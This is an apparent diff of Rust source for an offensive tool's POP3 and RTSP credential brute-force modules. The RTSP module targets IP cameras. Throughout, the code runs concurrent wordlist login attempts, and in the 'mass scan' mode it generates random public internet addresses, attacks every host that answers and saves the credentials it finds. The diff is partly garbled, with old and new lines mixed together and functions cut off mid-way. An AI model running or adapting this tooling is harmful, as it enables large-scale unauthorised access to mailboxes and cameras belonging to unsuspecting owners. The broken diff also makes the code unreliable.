port,
@@ -42,182 +146,459 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
full_combo,
use_ssl,
connection_timeout,
retry_on_error,
max_retries,
output_file,
delay_ms,
};
run_pop3_bruteforce(config)
if !api_mode {
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
}
run_pop3_bruteforce(config).await
}
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
async fn run_mass_scan(target: &str) -> Result<()> {
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// In API mode, default to no SSL; otherwise ask
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false).unwrap_or(false) };
let default_port = if use_ssl { 995 } else { 110 };
let port = config.port.unwrap_or_else(|| {
if api_mode { default_port } else { prompt_int_range("Port", default_port as i64, 1, 65535).unwrap_or(default_port as i64) as u16 }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
anyhow!("password_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "pop3_mass_results.txt".to_string() }
else { prompt_default("Output result file", "pop3_mass_results.txt").unwrap_or_else(|_| "pop3_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
Arc::new(Vec::new())
};
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed, exit loop
};
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await
.context(format!("Failed to read target file: {}", target))?;
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => continue, // Skip this IP if semaphore closed
};
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, bool)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes, use_ssl) = &*creds;
let target_str = ip.to_string();
// Construct a config for the attempt function
// We can't reuse the large config struct easily without creating dummy values,
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
// For now, I'll build a dummy config.
let dummy_wordlist = "dummy".to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_use_ssl = *use_ssl;
let dw = dummy_wordlist.clone();
// Blocking call
let res = tokio::task::spawn_blocking(move || {
let config = Pop3BruteforceConfig {
target: t_target,
port,
username_wordlist: dw.clone(),
password_wordlist: dw.clone(),
threads: 1,
stop_on_success: false,
verbose,
full_combo: false,
use_ssl: t_use_ssl,
connection_timeout: 5, // 5 seconds for login attempt
retry_on_error: false,
max_retries: 0,
output_file: "".to_string(),
delay_ms: 0,
};
attempt_pop3_login(&config, &t_user, &t_pass)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", ip, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
// Auth failed
}
Ok(Err(_)) => {
// Connection error - abort this host
return;
}
Err(_) => {
// Start/Join error
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = load_lines(&config.username_wordlist)?.len();
let _pass_count = load_lines(&config.password_wordlist)?.len();
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
// or use the streaming logic if I can adapt it easily.
// To match other modules (ssh/ftp), I'll use load_lines.
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold permit
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Retry loop
let mut retries = 0;
loop {
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
found_clone.lock().await.push((user.clone(), pass.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
break;
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
break;
},
Ok(Err(e)) => {
if config_clone.retry_on_error && retries < config_clone.max_retries {
retries += 1;
stats_clone.record_retry();
// Small backoff
tokio::time::sleep(Duration::from_millis(500)).await;
continue;
}
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
break;
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
break;
}
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Drain finished tasks to keep memory low
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
// Just drain
}
}
// Wait for remaining
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
let addr = format!("{}:{}", config.target, config.port);
let timeout = Duration::from_secs(config.connection_timeout);
if config.use_ssl {
let connector = TlsConnector::new()?;
// Resolve first to apply timeout to connect
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut stream = connector.connect(&config.target, stream)?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?; // +OK ...
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
} else {
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?;
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,977 @@
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{Write, BufRead, BufReader},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
collections::HashSet,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, timeout},
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 5;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_mass_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Debug, Clone, PartialEq)]
enum AuthMethod {
None,
Basic,
Digest { realm: String, nonce: String },
Unknown,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan".yellow());
return run_mass_scan(target).await;
}
run_single_target(target).await
}
async fn run_single_target(target: &str) -> Result<()> {
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("RTSP Port", 554)?
};
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Password wordlist")?
};
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
});
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(config.output_file.clone().unwrap_or_else(|| {
if api_mode { "rtsp_results.txt".to_string() } else { prompt_default("Output file", "rtsp_results.txt").unwrap_or_else(|_| "rtsp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
});
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
let stripped = match target.strip_prefix("rtsp://") {
Some(s) => s,
None => target,
};
match stripped.split('/').next() {
Some(host_part) => host_part,
None => target,
}
} else {
match target.split('/').next() {
Some(host_part) => host_part,
None => target,
}
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr, port).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
// In API mode, use path_wordlist config or default to root path; skip interactive prompts
let mut paths = if api_mode {
if let Some(ref f) = config.path_wordlist {
if !f.is_empty() && std::path::Path::new(f).exists() {
load_lines(f)?
} else {
vec!["".to_string()]
}
} else {
vec!["".to_string()]
}
} else {
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
if brute_force_paths {
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
}
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
if !api_mode {
println!();
}
println!("[*] Probing authentication method on default path...", );
let initial_path = match paths.first() {
Some(p) => p.clone(),
None => String::new(),
};
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
let default_auth_method = match probe_result {
Ok(AuthMethod::None) => {
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
// If user wants to stop on success, we are done?
// We should record this.
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
if stop_on_success {
println!("[+] Stopping due to unauthenticated access.");
return Ok(());
}
AuthMethod::None
},
Ok(AuthMethod::Basic) => {
println!("{} Detected Auth: Basic", "[*]".blue());
AuthMethod::Basic
},
Ok(AuthMethod::Digest { realm, nonce }) => {
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
AuthMethod::Digest { realm, nonce }
},
Ok(AuthMethod::Unknown) => {
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
AuthMethod::Unknown
},
Err(e) => {
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
AuthMethod::Unknown
}
};
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
// Safe access since users.is_empty() is checked earlier
match users.get(idx % users.len()) {
Some(u) => vec![u.to_string()],
None => vec![],
}
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
// If we know detected method, use it as a hint.
let cached_method = default_auth_method.clone();
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let _permit = match semaphore_clone.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
match try_rtsp_login_smart(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
&cached_method,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
}));
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Run mass scan logic
async fn run_mass_scan(target: &str) -> Result<()> {
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("RTSP Port", 554)?
};
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else {
prompt_existing_file("Username wordlist")?
};
